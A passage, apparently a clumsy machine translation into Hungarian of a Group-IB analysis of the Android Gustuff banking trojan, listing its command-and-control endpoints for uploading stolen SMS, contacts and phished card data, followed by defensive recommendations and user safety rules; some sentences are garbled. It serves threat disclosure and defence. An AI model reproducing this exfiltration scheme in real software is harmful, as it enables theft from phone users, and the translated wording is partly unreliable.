Válaszul a szerver SOCKS5 üzenetet küld, amely tartalmazza annak a távoli szervernek a címét, amellyel a kapcsolatot létre kell hozni. Az interakció ezzel a szerverrel az osztályon keresztül történik végén. A kapcsolat beállítása vázlatosan a következőképpen ábrázolható:

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).

Hálózati interakciók

A hálózati szippantók általi forgalomelemzés megakadályozása érdekében a CnC-kiszolgáló és az alkalmazás közötti interakció SSL-protokollal védhető. A szerverről és a szerverre továbbított összes adat JSON formátumban jelenik meg. Az alkalmazás a következő kéréseket hajtja végre működés közben:

  • http://<%CnC%>/api/v1/set_state.php — a parancs végrehajtásának eredménye.
  • http://<%CnC%>/api/v1/get.php — parancs vétele.
  • http://<%CnC%>/api/v1/load_sms.php — SMS-ek letöltése fertőzött eszközről.
  • http://<%CnC%>/api/v1/load_ab.php — névjegyek listájának feltöltése egy fertőzött eszközről.
  • http://<%CnC%>/api/v1/aevents.php – a kérés a preferenciafájlban található paraméterek frissítésekor történik.
  • http://<%CnC%>/api/v1/set_card.php — a Google Play Marketnek álcázott adathalászablakkal nyert adatok feltöltése.
  • http://<%CnC%>/api/v1/logs.php – naplóadatok feltöltése.
  • http://<%CnC%>/api/v1/records.php – adathalász ablakon keresztül szerzett adatok feltöltése.
  • http://<%CnC%>/api/v1/set_error.php – értesítés a bekövetkezett hibáról.

Ajánlások

Annak érdekében, hogy megvédjék ügyfeleiket a mobil trójaiak fenyegetésével szemben, a vállalatoknak átfogó megoldásokat kell alkalmazniuk, amelyek lehetővé teszik számukra a rosszindulatú tevékenységek megfigyelését és megelőzését anélkül, hogy további szoftvereket telepítenének a felhasználói eszközökre.

Ehhez a mobil trójaiak észlelésére szolgáló aláírási módszereket meg kell erősíteni olyan technológiákkal, amelyek mind az ügyfél, mind az alkalmazás viselkedését elemzik. A védelemnek tartalmaznia kell egy digitális ujjlenyomat-technológiát alkalmazó eszközazonosító funkciót is, amely lehetővé teszi annak megértését, hogy egy atipikus eszközről használnak-e egy fiókot, és az már csaló kezébe került.

Alapvetően fontos szempont a csatornákon átívelő elemzés elérhetősége, amely lehetővé teszi a vállalatok számára, hogy ne csak az interneten, hanem a mobil csatornán is ellenőrizzék a felmerülő kockázatokat, például a mobilbanki alkalmazásoknál, a kriptovalutákkal végzett tranzakcióknál és minden másnál, ahol pénzügyi tranzakció.

Biztonsági szabályok a felhasználók számára:

  • ne telepítsen alkalmazásokat Android operációs rendszert futtató mobileszközre a Google Playen kívül más forrásból, különös figyelmet fordítson az alkalmazás által kért jogokra;
  • rendszeresen telepítse az Android operációs rendszer frissítéseit;
  • ügyeljen a letöltött fájlok kiterjesztésére;
  • ne keresse fel a gyanús forrásokat;
  • Ne kattintson az SMS-ben kapott hivatkozásokra.

Főszerepben Szemjon Rogacseva, a Group-IB Computer Forensics Laboratory malware-kutatásának junior specialistája.

Forrás: will.com

Hozzászólás